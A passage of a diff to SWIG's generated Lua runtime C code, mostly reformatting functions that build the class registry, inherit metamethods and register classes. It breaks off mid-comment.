assert(lua_isuserdata(L,-1)); /* just in case */ + usr=(swig_lua_userdata*)lua_touserdata(L,-1); /* get it */ - usr->own = 0; /* clear our ownership */ - return 0; + usr->own = 0; /* clear our ownership */ + return 0; } /* lua callable function to compare userdata's value the issue is that two userdata may point to the same thing but to lua, they are different objects */ -SWIGRUNTIME int SWIG_Lua_class_equal(lua_State *L) { - int result; - swig_lua_userdata *usr1, *usr2; - if (!lua_isuserdata(L, 1) || !lua_isuserdata(L, 2)) /* just in case */ - return 0; /* nil reply */ - usr1 = (swig_lua_userdata *)lua_touserdata(L, 1); /* get data */ - usr2 = (swig_lua_userdata *)lua_touserdata(L, 2); /* get data */ - /*result=(usr1->ptr==usr2->ptr && usr1->type==usr2->type); only works if type is the same*/ - result = (usr1->ptr == usr2->ptr); - lua_pushboolean(L, result); - return 1; +SWIGRUNTIME int SWIG_Lua_class_equal(lua_State *L) +{ + int result; + swig_lua_userdata *usr1,*usr2; + if (!lua_isuserdata(L,1) || !lua_isuserdata(L,2)) /* just in case */ + return 0; /* nil reply */ + usr1=(swig_lua_userdata*)lua_touserdata(L,1); /* get data */ + usr2=(swig_lua_userdata*)lua_touserdata(L,2); /* get data */ + /*result=(usr1->ptr==usr2->ptr && usr1->type==usr2->type); only works if type is the same*/ + result=(usr1->ptr==usr2->ptr); + lua_pushboolean(L,result); + return 1; } /* populate table at the top of the stack with metamethods that ought to be inherited */ -SWIGINTERN void SWIG_Lua_populate_inheritable_metamethods(lua_State *L) { - SWIG_Lua_add_boolean(L, "__add", 1); - SWIG_Lua_add_boolean(L, "__sub", 1); - SWIG_Lua_add_boolean(L, "__mul", 1); - SWIG_Lua_add_boolean(L, "__div", 1); - SWIG_Lua_add_boolean(L, "__mod", 1); - SWIG_Lua_add_boolean(L, "__pow", 1); - SWIG_Lua_add_boolean(L, "__unm", 1); - SWIG_Lua_add_boolean(L, "__len", 1); - SWIG_Lua_add_boolean(L, "__concat", 1); - SWIG_Lua_add_boolean(L, "__eq", 1); - SWIG_Lua_add_boolean(L, "__lt", 1); - SWIG_Lua_add_boolean(L, "__le", 1); - SWIG_Lua_add_boolean(L, "__call", 1); - SWIG_Lua_add_boolean(L, "__tostring", 1); - SWIG_Lua_add_boolean(L, "__gc", 0); +SWIGINTERN void SWIG_Lua_populate_inheritable_metamethods(lua_State *L) +{ + SWIG_Lua_add_boolean(L, "__add", 1); + SWIG_Lua_add_boolean(L, "__sub", 1); + SWIG_Lua_add_boolean(L, "__mul", 1); + SWIG_Lua_add_boolean(L, "__div", 1); + SWIG_Lua_add_boolean(L, "__mod", 1); + SWIG_Lua_add_boolean(L, "__pow", 1); + SWIG_Lua_add_boolean(L, "__unm", 1); + SWIG_Lua_add_boolean(L, "__len", 1 ); + SWIG_Lua_add_boolean(L, "__concat", 1 ); + SWIG_Lua_add_boolean(L, "__eq", 1); + SWIG_Lua_add_boolean(L, "__lt", 1); + SWIG_Lua_add_boolean(L, "__le", 1); + SWIG_Lua_add_boolean(L, "__call", 1); + SWIG_Lua_add_boolean(L, "__tostring", 1); + SWIG_Lua_add_boolean(L, "__gc", 0); } /* creates the swig registry */ -SWIGINTERN void SWIG_Lua_create_class_registry(lua_State *L) { - /* create main SWIG registry table */ - lua_pushstring(L, "SWIG"); - lua_newtable(L); - /* populate it with some predefined data */ +SWIGINTERN void SWIG_Lua_create_class_registry(lua_State *L) +{ + /* create main SWIG registry table */ + lua_pushstring(L,"SWIG"); + lua_newtable(L); + /* populate it with some predefined data */ - /* .library table. Placeholder */ - lua_pushstring(L, ".library"); + /* .library table. Placeholder */ + lua_pushstring(L,".library"); + lua_newtable(L); + { + /* list of metamethods that class inherits from its bases */ + lua_pushstring(L,"inheritable_metamethods"); lua_newtable(L); - { - /* list of metamethods that class inherits from its bases */ - lua_pushstring(L, "inheritable_metamethods"); - lua_newtable(L); - /* populate with list of metamethods */ - SWIG_Lua_populate_inheritable_metamethods(L); - lua_rawset(L, -3); - } - lua_rawset(L, -3); + /* populate with list of metamethods */ + SWIG_Lua_populate_inheritable_metamethods(L); + lua_rawset(L,-3); + } + lua_rawset(L,-3); - lua_rawset(L, LUA_REGISTRYINDEX); + lua_rawset(L,LUA_REGISTRYINDEX); } /* gets the swig registry (or creates it) */ -SWIGINTERN void SWIG_Lua_get_class_registry(lua_State *L) { - /* add this all into the swig registry: */ - lua_pushstring(L, "SWIG"); - lua_rawget(L, LUA_REGISTRYINDEX); /* get the registry */ - if (!lua_istable(L, -1)) { /* not there */ - /* must be first time, so add it */ - lua_pop(L, 1); /* remove the result */ - SWIG_Lua_create_class_registry(L); - /* then get it */ - lua_pushstring(L, "SWIG"); - lua_rawget(L, LUA_REGISTRYINDEX); - } +SWIGINTERN void SWIG_Lua_get_class_registry(lua_State *L) +{ + /* add this all into the swig registry: */ + lua_pushstring(L,"SWIG"); + lua_rawget(L,LUA_REGISTRYINDEX); /* get the registry */ + if (!lua_istable(L,-1)) /* not there */ + { /* must be first time, so add it */ + lua_pop(L,1); /* remove the result */ + SWIG_Lua_create_class_registry(L); + /* then get it */ + lua_pushstring(L,"SWIG"); + lua_rawget(L,LUA_REGISTRYINDEX); + } } -SWIGINTERN void SWIG_Lua_get_inheritable_metamethods(lua_State *L) { - SWIG_Lua_get_class_registry(L); - lua_pushstring(L, ".library"); - lua_rawget(L, -2); - assert(!lua_isnil(L, -1)); - lua_pushstring(L, "inheritable_metamethods"); - lua_rawget(L, -2); +SWIGINTERN void SWIG_Lua_get_inheritable_metamethods(lua_State *L) +{ + SWIG_Lua_get_class_registry(L); + lua_pushstring(L, ".library"); + lua_rawget(L,-2); + assert( !lua_isnil(L,-1) ); + lua_pushstring(L, "inheritable_metamethods"); + lua_rawget(L,-2); - /* Remove class registry and library table */ - lua_remove(L, -2); - lua_remove(L, -2); + /* Remove class registry and library table */ + lua_remove(L,-2); + lua_remove(L,-2); } /* Helper function to get the classes metatable from the register */ -SWIGINTERN void SWIG_Lua_get_class_metatable(lua_State *L, const char *cname) { - SWIG_Lua_get_class_registry(L); /* get the registry */ - lua_pushstring(L, cname); /* get the name */ - lua_rawget(L, -2); /* get it */ - lua_remove(L, -2); /* tidy up (remove registry) */ +SWIGINTERN void SWIG_Lua_get_class_metatable(lua_State *L,const char *cname) +{ + SWIG_Lua_get_class_registry(L); /* get the registry */ + lua_pushstring(L,cname); /* get the name */ + lua_rawget(L,-2); /* get it */ + lua_remove(L,-2); /* tidy up (remove registry) */ } /* Set up the base classes pointers. @@ -1915,151 +1949,165 @@ It cannot be done at compile time, as this will not work with hireachies spread over more than one swig file. Therefore it must be done at runtime, querying the SWIG type system. */ -SWIGINTERN void SWIG_Lua_init_base_class(lua_State *L, swig_lua_class *clss) { - int i = 0; - swig_module_info *module = SWIG_GetModule(L); - for (i = 0; clss->base_names[i]; i++) { - if (clss->bases[i] == 0) { /* not found yet */ - /* lookup and cache the base class */ - swig_type_info *info = SWIG_TypeQueryModule(module, module, clss->base_names[i]); - if (info) clss->bases[i] = (swig_lua_class *) info->clientdata; - } +SWIGINTERN void SWIG_Lua_init_base_class(lua_State *L,swig_lua_class *clss) +{ + int i=0; + swig_module_info *module=SWIG_GetModule(L); + for(i=0;clss->base_names[i];i++) + { + if (clss->bases[i]==0) /* not found yet */ + { + /* lookup and cache the base class */ + swig_type_info *info = SWIG_TypeQueryModule(module,module,clss->base_names[i]); + if (info) clss->bases[i] = (swig_lua_class *) info->clientdata; } + } } #if defined(SWIG_LUA_SQUASH_BASES) && (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) /* Merges two tables */ -SWIGINTERN void SWIG_Lua_merge_tables_by_index(lua_State *L, int target, int source) { - /* iterating */ - lua_pushnil(L); - while (lua_next(L, source) != 0) { - /* -1 - value, -2 - index */ - /* have to copy to assign */ - lua_pushvalue(L, -2); /* copy of index */ - lua_pushvalue(L, -2); /* copy of value */ - lua_rawset(L, target); - lua_pop(L, 1); - /* only key is left */ - } +SWIGINTERN void SWIG_Lua_merge_tables_by_index(lua_State *L, int target, int source) +{ + /* iterating */ + lua_pushnil(L); + while (lua_next(L,source) != 0) { + /* -1 - value, -2 - index */ + /* have to copy to assign */ + lua_pushvalue(L,-2); /* copy of index */ + lua_pushvalue(L,-2); /* copy of value */ + lua_rawset(L, target); + lua_pop(L,1); + /* only key is left */ + } } /* Merges two tables with given name. original - index of target metatable, base - index of source metatable */ -SWIGINTERN void SWIG_Lua_merge_tables(lua_State *L, const char *name, int original, int base) { - /* push original[name], then base[name] */ - lua_pushstring(L, name); - lua_rawget(L, original); - int original_table = lua_gettop(L); - lua_pushstring(L, name); - lua_rawget(L, base); - int base_table = lua_gettop(L); - SWIG_Lua_merge_tables_by_index(L, original_table, base_table); - /* clearing stack */ - lua_pop(L, 2); +SWIGINTERN void SWIG_Lua_merge_tables(lua_State *L, const char* name, int original, int base) +{ + /* push original[name], then base[name] */ + lua_pushstring(L,name); + lua_rawget(L,original); + int original_table = lua_gettop(L); + lua_pushstring(L,name); + lua_rawget(L,base); + int base_table = lua_gettop(L); + SWIG_Lua_merge_tables_by_index(L, original_table, base_table); + /* clearing stack */ + lua_pop(L,2); } /* Function takes all symbols from base and adds it to derived class. It's just a helper. */ -SWIGINTERN void SWIG_Lua_class_squash_base(lua_State *L, swig_lua_class *base_cls) { - /* There is one parameter - original, i.e. 'derived' class metatable */ - assert(lua_istable(L, -1)); - int original = lua_gettop(L); - SWIG_Lua_get_class_metatable(L, base_cls->fqname); - int base = lua_gettop(L); - SWIG_Lua_merge_tables(L, ".fn", original, base); - SWIG_Lua_merge_tables(L, ".set", original, base); - SWIG_Lua_merge_tables(L, ".get", original, base); - lua_pop(L, 1); +SWIGINTERN void SWIG_Lua_class_squash_base(lua_State *L, swig_lua_class *base_cls) +{ + /* There is one parameter - original, i.e. 'derived' class metatable */ + assert(lua_istable(L,-1)); + int original = lua_gettop(L); + SWIG_Lua_get_class_metatable(L,base_cls->fqname); + int base = lua_gettop(L); + SWIG_Lua_merge_tables(L, ".fn", original, base ); + SWIG_Lua_merge_tables(L, ".set", original, base ); + SWIG_Lua_merge_tables(L, ".get", original, base ); + lua_pop(L,1); } /* Function squashes all symbols from 'clss' bases into itself */ -SWIGINTERN void SWIG_Lua_class_squash_bases(lua_State *L, swig_lua_class *clss) { - int i; - SWIG_Lua_get_class_metatable(L, clss->fqname); - for (i = 0; clss->base_names[i]; i++) { - if (clss->bases[i] == 0) /* Somehow it's not found. Skip it */ - continue; - /* Thing is: all bases are already registered. Thus they have already executed - * this function. So we just need to squash them into us, because their bases - * are already squashed into them. No need for recursion here! - */ - SWIG_Lua_class_squash_base(L, clss->bases[i]); - } - lua_pop(L, 1); /*tidy stack*/ +SWIGINTERN void SWIG_Lua_class_squash_bases(lua_State *L, swig_lua_class *clss) +{ + int i; + SWIG_Lua_get_class_metatable(L,clss->fqname); + for(i=0;clss->base_names[i];i++) + { + if (clss->bases[i]==0) /* Somehow it's not found. Skip it */ + continue; + /* Thing is: all bases are already registered. Thus they have already executed + * this function. So we just need to squash them into us, because their bases + * are already squashed into them. No need for recursion here! + */ + SWIG_Lua_class_squash_base(L, clss->bases[i]); + } + lua_pop(L,1); /*tidy stack*/ } #endif #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) /* In elua this is useless */ /* helper add a variable to a registered class */ -SWIGINTERN void SWIG_Lua_add_variable(lua_State *L, const char *name, lua_CFunction getFn, lua_CFunction setFn) { - assert(lua_istable(L, -1)); /* just in case */ - SWIG_Lua_get_table(L, ".get"); /* find the .get table */ - assert(lua_istable(L, -1)); /* just in case */ - SWIG_Lua_add_function(L, name, getFn); - lua_pop(L, 1); /* tidy stack (remove table) */ - if (setFn) { - SWIG_Lua_get_table(L, ".set"); /* find the .set table */ - assert(lua_istable(L, -1)); /* just in case */ - SWIG_Lua_add_function(L, name, setFn); - lua_pop(L, 1); /* tidy stack (remove table) */ - } +SWIGINTERN void SWIG_Lua_add_variable(lua_State *L,const char *name,lua_CFunction getFn,lua_CFunction setFn) +{ + assert(lua_istable(L,-1)); /* just in case */ + SWIG_Lua_get_table(L,".get"); /* find the .get table */ + assert(lua_istable(L,-1)); /* just in case */ + SWIG_Lua_add_function(L,name,getFn); + lua_pop(L,1); /* tidy stack (remove table) */ + if (setFn) + { + SWIG_Lua_get_table(L,".set"); /* find the .set table */ + assert(lua_istable(L,-1)); /* just in case */ + SWIG_Lua_add_function(L,name,setFn); + lua_pop(L,1); /* tidy stack (remove table) */ + } } /* helper to recursively add class static details (static attributes, operations and constants) */ -SWIGINTERN void SWIG_Lua_add_class_static_details(lua_State *L, swig_lua_class *clss) { - int i = 0; - /* The class namespace table must be on the top of the stack */ - assert(lua_istable(L, -1)); - /* call all the base classes first: we can then override these later: */ - for (i = 0; clss->bases[i]; i++) { - SWIG_Lua_add_class_static_details(L, clss->bases[i]); - } +SWIGINTERN void SWIG_Lua_add_class_static_details(lua_State *L, swig_lua_class *clss) +{ + int i = 0; + /* The class namespace table must be on the top of the stack */ + assert(lua_istable(L,-1)); + /* call all the base classes first: we can then override these later: */ + for(i=0;clss->bases[i];i++) + { + SWIG_Lua_add_class_static_details(L,clss->bases[i]); + } - SWIG_Lua_add_namespace_details(L, clss->cls_static); + SWIG_Lua_add_namespace_details(L, clss->cls_static); } SWIGINTERN void SWIG_Lua_add_class_user_metamethods(lua_State *L, swig_lua_class *clss); /* forward declaration */ /* helper to recursively add class details (attributes & operations) */ -SWIGINTERN void SWIG_Lua_add_class_instance_details(lua_State *L, swig_lua_class *clss) { - int i; - size_t bases_count = 0; - /* Add bases to .bases table */ - SWIG_Lua_get_table(L, ".bases"); - assert(lua_istable(L, -1)); /* just in case */ - for (i = 0; clss->bases[i]; i++) { - SWIG_Lua_get_class_metatable(L, clss->bases[i]->fqname); - /* Base class must be already registered */ - assert(lua_istable(L, -1)); - lua_rawseti(L, -2, i + 1); /* In lua indexing starts from 1 */ - bases_count++; - } - assert(lua_rawlen(L, -1) == bases_count); - lua_pop(L, 1); /* remove .bases table */ - /* add attributes */ - for (i = 0; clss->attributes[i].name; i++) { - SWIG_Lua_add_variable(L, clss->attributes[i].name, clss->attributes[i].getmethod, clss->attributes[i].setmethod); - } - /* add methods to the metatable */ - SWIG_Lua_get_table(L, ".fn"); /* find the .fn table */ - assert(lua_istable(L, -1)); /* just in case */ - for (i = 0; clss->methods[i].name; i++) { - SWIG_Lua_add_function(L, clss->methods[i].name, clss->methods[i].func); - } - lua_pop(L, 1); /* tidy stack (remove table) */ - /* add operator overloads - This adds methods from metatable array to metatable. Can mess up garbage - collectind if someone defines __gc method - */ - if (clss->metatable) { - for (i = 0; clss->metatable[i].name; i++) { - SWIG_Lua_add_function(L, clss->metatable[i].name, clss->metatable[i].func); - } +SWIGINTERN void SWIG_Lua_add_class_instance_details(lua_State *L, swig_lua_class *clss) +{ + int i; + size_t bases_count = 0; + /* Add bases to .bases table */ + SWIG_Lua_get_table(L,".bases"); + assert(lua_istable(L,-1)); /* just in case */ + for(i=0;clss->bases[i];i++) + { + SWIG_Lua_get_class_metatable(L,clss->bases[i]->fqname); + /* Base class must be already registered */ + assert(lua_istable(L,-1)); + lua_rawseti(L,-2,i+1); /* In lua indexing starts from 1 */ + bases_count++; + } + assert(lua_rawlen(L,-1) == bases_count); + lua_pop(L,1); /* remove .bases table */ + /* add attributes */ + for(i=0;clss->attributes[i].name;i++){ + SWIG_Lua_add_variable(L,clss->attributes[i].name,clss->attributes[i].getmethod,clss->attributes[i].setmethod); + } + /* add methods to the metatable */ + SWIG_Lua_get_table(L,".fn"); /* find the .fn table */ + assert(lua_istable(L,-1)); /* just in case */ + for(i=0;clss->methods[i].name;i++){ + SWIG_Lua_add_function(L,clss->methods[i].name,clss->methods[i].func); + } + lua_pop(L,1); /* tidy stack (remove table) */ + /* add operator overloads + This adds methods from metatable array to metatable. Can mess up garbage + collectind if someone defines __gc method + */ + if(clss->metatable) { + for(i=0;clss->metatable[i].name;i++) { + SWIG_Lua_add_function(L,clss->metatable[i].name,clss->metatable[i].func); } + } #if !defined(SWIG_LUA_SQUASH_BASES) - /* Adding metamethods that are defined in base classes. If bases were squashed - * then it is obviously unnecessary - */ - SWIG_Lua_add_class_user_metamethods(L, clss); + /* Adding metamethods that are defined in base classes. If bases were squashed + * then it is obviously unnecessary + */ + SWIG_Lua_add_class_user_metamethods(L, clss); #endif } @@ -2089,67 +2137,70 @@ SWIGRUNTIME int SWIG_Lua_resolve_metamethod(lua_State *L); /*forward declaration * SWIG_Lua_resolve_metamethod * */ SWIGINTERN int SWIG_Lua_do_resolve_metamethod(lua_State *L, const swig_lua_class *clss, int metamethod_name_idx, - int skip_check) { - /* This function is called recursively */ - int result = 0; - int i = 0; + int skip_check) +{ + /* This function is called recursively */ + int result = 0; + int i = 0; - if (!skip_check) { - SWIG_Lua_get_class_metatable(L, clss->fqname); - lua_pushvalue(L, metamethod_name_idx); - lua_rawget(L, -2); - /* If this is cfunction and it is equal to SWIG_Lua_resolve_metamethod then - * this isn't the function we are looking for :) - * lua_tocfunction will return NULL if not cfunction - */ - if (!lua_isnil(L, -1) && lua_tocfunction(L, -1) != SWIG_Lua_resolve_metamethod) { - lua_remove(L, -2); /* removing class metatable */ - return 1; - } - lua_pop(L, 2); /* remove class metatable and query result */ + if (!skip_check) { + SWIG_Lua_get_class_metatable(L, clss->fqname); + lua_pushvalue(L, metamethod_name_idx); + lua_rawget(L,-2); + /* If this is cfunction and it is equal to SWIG_Lua_resolve_metamethod then + * this isn't the function we are looking for :) + * lua_tocfunction will return NULL if not cfunction + */ + if (!lua_isnil(L,-1) && lua_tocfunction(L,-1) != SWIG_Lua_resolve_metamethod ) { + lua_remove(L,-2); /* removing class metatable */ + return 1; } + lua_pop(L,2); /* remove class metatable and query result */ + } - /* Forwarding calls to bases */ - for (i = 0; clss->bases[i]; i++) { - result = SWIG_Lua_do_resolve_metamethod(L, clss->bases[i], metamethod_name_idx, 0); - if (result) - break; - } + /* Forwarding calls to bases */ + for(i=0;clss->bases[i];i++) + { + result = SWIG_Lua_do_resolve_metamethod(L, clss->bases[i], metamethod_name_idx, 0); + if (result) + break; + } - return result; + return result; } /* The proxy function for metamethod. All parameters are passed as cclosure. Searches for actual method * and calls it */ -SWIGRUNTIME int SWIG_Lua_resolve_metamethod(lua_State *L) { - int numargs; - int metamethod_name_idx; - const swig_lua_class *clss; - int result; +SWIGRUNTIME int SWIG_Lua_resolve_metamethod(lua_State *L) +{ + int numargs; + int metamethod_name_idx; + const swig_lua_class* clss; + int result; - lua_checkstack(L, 5); - numargs = lua_gettop(L); /* number of arguments to pass to actual metamethod */ + lua_checkstack(L,5); + numargs = lua_gettop(L); /* number of arguments to pass to actual metamethod */ - /* Get upvalues from closure */ - lua_pushvalue(L, lua_upvalueindex(1)); /*Get function name*/ - metamethod_name_idx = lua_gettop(L); + /* Get upvalues from closure */ + lua_pushvalue(L, lua_upvalueindex(1)); /*Get function name*/ + metamethod_name_idx = lua_gettop(L); - lua_pushvalue(L, lua_upvalueindex(2)); - clss = (const swig_lua_class *)(lua_touserdata(L, -1)); - lua_pop(L, 1); /* remove lightuserdata with clss from stack */ + lua_pushvalue(L, lua_upvalueindex(2)); + clss = (const swig_lua_class*)(lua_touserdata(L,-1)); + lua_pop(L,1); /* remove lightuserdata with clss from stack */ - /* Actual work */ - result = SWIG_Lua_do_resolve_metamethod(L, clss, metamethod_name_idx, 1); - if (!result) { - SWIG_Lua_pushferrstring(L, "The metamethod proxy is set, but it failed to find actual metamethod. Memory corruption is most likely explanation."); - lua_error(L); - return 0; - } + /* Actual work */ + result = SWIG_Lua_do_resolve_metamethod(L, clss, metamethod_name_idx, 1); + if (!result) { + SWIG_Lua_pushferrstring(L,"The metamethod proxy is set, but it failed to find actual metamethod. Memory corruption is most likely explanation."); + lua_error(L); + return 0; + } - lua_remove(L, -2); /* remove metamethod key */ - lua_insert(L, 1); /* move function to correct position */ - lua_call(L, numargs, LUA_MULTRET); - return lua_gettop(L); /* return all results */ + lua_remove(L,-2); /* remove metamethod key */ + lua_insert(L,1); /* move function to correct position */ + lua_call(L, numargs, LUA_MULTRET); + return lua_gettop(L); /* return all results */ } @@ -2157,281 +2208,292 @@ SWIGRUNTIME int SWIG_Lua_resolve_metamethod(lua_State *L) { * Returns 1 if successfully added, 0 if not added because no base class has it, -1 * if method is defined in the class metatable itself */ -SWIGINTERN int SWIG_Lua_add_class_user_metamethod(lua_State *L, swig_lua_class *clss, const int metatable_index) { - int key_index; - int success = 0; - int i = 0; +SWIGINTERN int SWIG_Lua_add_class_user_metamethod(lua_State *L, swig_lua_class *clss, const int metatable_index) +{ + int key_index; + int success = 0; + int i = 0; - /* metamethod name - on the top of the stack */ - assert(lua_isstring(L, -1)); + /* metamethod name - on the top of the stack */ + assert(lua_isstring(L,-1)); - key_index = lua_gettop(L); + key_index = lua_gettop(L); - /* Check whether method is already defined in metatable */ - lua_pushvalue(L, key_index); /* copy of the key */ - lua_gettable(L, metatable_index); - if (!lua_isnil(L, -1)) { - lua_pop(L, 1); - return -1; + /* Check whether method is already defined in metatable */ + lua_pushvalue(L,key_index); /* copy of the key */ + lua_gettable(L,metatable_index); + if( !lua_isnil(L,-1) ) { + lua_pop(L,1); + return -1; + } + lua_pop(L,1); + + /* Iterating over immediate bases */ + for(i=0;clss->bases[i];i++) + { + const swig_lua_class *base = clss->bases[i]; + SWIG_Lua_get_class_metatable(L, base->fqname); + lua_pushvalue(L, key_index); + lua_rawget(L, -2); + if( !lua_isnil(L,-1) ) { + lua_pushvalue(L, key_index); + + /* Add proxy function */ + lua_pushvalue(L, key_index); /* first closure value is function name */ + lua_pushlightuserdata(L, clss); /* second closure value is swig_lua_class structure */ + lua_pushcclosure(L, SWIG_Lua_resolve_metamethod, 2); + + lua_rawset(L, metatable_index); + success = 1; } - lua_pop(L, 1); + lua_pop(L,1); /* remove function or nil */ + lua_pop(L,1); /* remove base class metatable */ - /* Iterating over immediate bases */ - for (i = 0; clss->bases[i]; i++) { - const swig_lua_class *base = clss->bases[i]; - SWIG_Lua_get_class_metatable(L, base->fqname); - lua_pushvalue(L, key_index); - lua_rawget(L, -2); - if (!lua_isnil(L, -1)) { - lua_pushvalue(L, key_index); + if( success ) + break; + } - /* Add proxy function */ - lua_pushvalue(L, key_index); /* first closure value is function name */ - lua_pushlightuserdata(L, clss); /* second closure value is swig_lua_class structure */ - lua_pushcclosure(L, SWIG_Lua_resolve_metamethod, 2); - - lua_rawset(L, metatable_index); - success = 1; - } - lua_pop(L, 1); /* remove function or nil */ - lua_pop(L, 1); /* remove base class metatable */ - - if (success) - break; - } - - return success; + return success; } -SWIGINTERN void SWIG_Lua_add_class_user_metamethods(lua_State *L, swig_lua_class *clss) { - int metatable_index; - int metamethods_info_index; - int tostring_undefined; - int eq_undefined = 0; +SWIGINTERN void SWIG_Lua_add_class_user_metamethods(lua_State *L, swig_lua_class *clss) +{ + int metatable_index; + int metamethods_info_index; + int tostring_undefined; + int eq_undefined = 0; - SWIG_Lua_get_class_metatable(L, clss->fqname); - metatable_index = lua_gettop(L); - SWIG_Lua_get_inheritable_metamethods(L); - assert(lua_istable(L, -1)); - metamethods_info_index = lua_gettop(L); - lua_pushnil(L); /* first key */ - while (lua_next(L, metamethods_info_index) != 0) { - /* key at index -2, value at index -1 */ - const int is_inheritable = lua_toboolean(L, -2); - lua_pop(L, 1); /* remove value - we don't need it anymore */ + SWIG_Lua_get_class_metatable(L, clss->fqname); + metatable_index = lua_gettop(L); + SWIG_Lua_get_inheritable_metamethods(L); + assert(lua_istable(L,-1)); + metamethods_info_index = lua_gettop(L); + lua_pushnil(L); /* first key */ + while(lua_next(L, metamethods_info_index) != 0 ) { + /* key at index -2, value at index -1 */ + const int is_inheritable = lua_toboolean(L,-2); + lua_pop(L,1); /* remove value - we don't need it anymore */ - if (is_inheritable) { /* if metamethod is inheritable */ - SWIG_Lua_add_class_user_metamethod(L, clss, metatable_index); - } + if(is_inheritable) { /* if metamethod is inheritable */ + SWIG_Lua_add_class_user_metamethod(L,clss,metatable_index); } + } - lua_pop(L, 1); /* remove inheritable metamethods table */ + lua_pop(L,1); /* remove inheritable metamethods table */ - /* Special handling for __tostring method */ - lua_pushstring(L, "__tostring"); - lua_pushvalue(L, -1); - lua_rawget(L, metatable_index); - tostring_undefined = lua_isnil(L, -1); - lua_pop(L, 1); - if (tostring_undefined) { - lua_pushcfunction(L, SWIG_Lua_class_tostring); - lua_rawset(L, metatable_index); - } else { - lua_pop(L, 1); /* remove copy of the key */ - } + /* Special handling for __tostring method */ + lua_pushstring(L, "__tostring"); + lua_pushvalue(L,-1); + lua_rawget(L,metatable_index); + tostring_undefined = lua_isnil(L,-1); + lua_pop(L,1); + if( tostring_undefined ) { + lua_pushcfunction(L, SWIG_Lua_class_tostring); + lua_rawset(L, metatable_index); + } else { + lua_pop(L,1); /* remove copy of the key */ + } - /* Special handling for __eq method */ - lua_pushstring(L, "__eq"); - lua_pushvalue(L, -1); - lua_rawget(L, metatable_index); - eq_undefined = lua_isnil(L, -1); - lua_pop(L, 1); - if (eq_undefined) { - lua_pushcfunction(L, SWIG_Lua_class_equal); - lua_rawset(L, metatable_index); - } else { - lua_pop(L, 1); /* remove copy of the key */ - } - /* Warning: __index and __newindex are SWIG-defined. For user-defined operator[] - * a __getitem/__setitem method should be defined - */ - lua_pop(L, 1); /* pop class metatable */ + /* Special handling for __eq method */ + lua_pushstring(L, "__eq"); + lua_pushvalue(L,-1); + lua_rawget(L,metatable_index); + eq_undefined = lua_isnil(L,-1); + lua_pop(L,1); + if( eq_undefined ) { + lua_pushcfunction(L, SWIG_Lua_class_equal); + lua_rawset(L, metatable_index); + } else { + lua_pop(L,1); /* remove copy of the key */ + } + /* Warning: __index and __newindex are SWIG-defined. For user-defined operator[] + * a __getitem/__setitem method should be defined + */ + lua_pop(L,1); /* pop class metatable */ } /* Register class static methods,attributes etc as well as constructor proxy */ -SWIGINTERN void SWIG_Lua_class_register_static(lua_State *L, swig_lua_class *clss) { - const int SWIGUNUSED begin = lua_gettop(L); - lua_checkstack(L, 5); /* just in case */ - assert(lua_istable(L, -1)); /* just in case */ - assert(strcmp(clss->name, clss->cls_static->name) == 0); /* in class those 2 must be equal */ +SWIGINTERN void SWIG_Lua_class_register_static(lua_State *L, swig_lua_class *clss) +{ + const int SWIGUNUSED begin = lua_gettop(L); + lua_checkstack(L,5); /* just in case */ + assert(lua_istable(L,-1)); /* just in case */ + assert(strcmp(clss->name, clss->cls_static->name) == 0); /* in class those 2 must be equal */ - SWIG_Lua_namespace_register(L, clss->cls_static, 1); + SWIG_Lua_namespace_register(L,clss->cls_static, 1); - assert(lua_istable(L, -1)); /* just in case */ + assert(lua_istable(L,-1)); /* just in case */ - /* add its constructor to module with the name of the class - so you can do MyClass(...) as well as new_MyClass(...) - BUT only if a constructor is defined - (this overcomes the problem of pure virtual classes without constructors)*/ - if (clss->constructor) { - lua_getmetatable(L, -1); - assert(lua_istable(L, -1)); /* just in case */ - SWIG_Lua_add_function(L, "__call", clss->constructor); - lua_pop(L, 1); - } + /* add its constructor to module with the name of the class + so you can do MyClass(...) as well as new_MyClass(...) + BUT only if a constructor is defined + (this overcomes the problem of pure virtual classes without constructors)*/ + if (clss->constructor) + { + lua_getmetatable(L,-1); + assert(lua_istable(L,-1)); /* just in case */ + SWIG_Lua_add_function(L,"__call", clss->constructor); + lua_pop(L,1); + } - assert(lua_istable(L, -1)); /* just in case */ - SWIG_Lua_add_class_static_details(L, clss); + assert(lua_istable(L,-1)); /* just in case */ + SWIG_Lua_add_class_static_details(L, clss); - /* clear stack */ - lua_pop(L, 1); - assert(lua_gettop(L) == begin); + /* clear stack */ + lua_pop(L,1); + assert( lua_gettop(L) == begin ); } /* Performs the instance (non-static) class registration process. Metatable for class is created * and added to the class registry. */ -SWIGINTERN void SWIG_Lua_class_register_instance(lua_State *L, swig_lua_class *clss) { - const int SWIGUNUSED begin = lua_gettop(L); - int i; - /* if name already there (class is already registered) then do nothing */ - SWIG_Lua_get_class_registry(L); /* get the registry */ - lua_pushstring(L, clss->fqname); /* get the name */ - lua_rawget(L, -2); - if (!lua_isnil(L, -1)) { - lua_pop(L, 2); - assert(lua_gettop(L) == begin); - return; - } - lua_pop(L, 2); /* tidy stack */ - /* Recursively initialize all bases */ - for (i = 0; clss->bases[i]; i++) { - SWIG_Lua_class_register_instance(L, clss->bases[i]); - } - /* Again, get registry and push name */ - SWIG_Lua_get_class_registry(L); /* get the registry */ - lua_pushstring(L, clss->fqname); /* get the name */ - lua_newtable(L); /* create the metatable */ +SWIGINTERN void SWIG_Lua_class_register_instance(lua_State *L,swig_lua_class *clss) +{ + const int SWIGUNUSED begin = lua_gettop(L); + int i; + /* if name already there (class is already registered) then do nothing */ + SWIG_Lua_get_class_registry(L); /* get the registry */ + lua_pushstring(L,clss->fqname); /* get the name */ + lua_rawget(L,-2); + if(!lua_isnil(L,-1)) { + lua_pop(L,2); + assert(lua_gettop(L)==begin); + return; + } + lua_pop(L,2); /* tidy stack */ + /* Recursively initialize all bases */ + for(i=0;clss->bases[i];i++) + { + SWIG_Lua_class_register_instance(L,clss->bases[i]); + } + /* Again, get registry and push name */ + SWIG_Lua_get_class_registry(L); /* get the registry */ + lua_pushstring(L,clss->fqname); /* get the name */ + lua_newtable(L); /* create the metatable */ #if defined(SWIG_LUA_SQUASH_BASES) && (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) - /* If squashing is requested, then merges all bases metatable into this one. - * It would get us all special methods: __getitem, __add etc. - * This would set .fn, .type, and other .xxx incorrectly, but we will overwrite it right away - */ + /* If squashing is requested, then merges all bases metatable into this one. + * It would get us 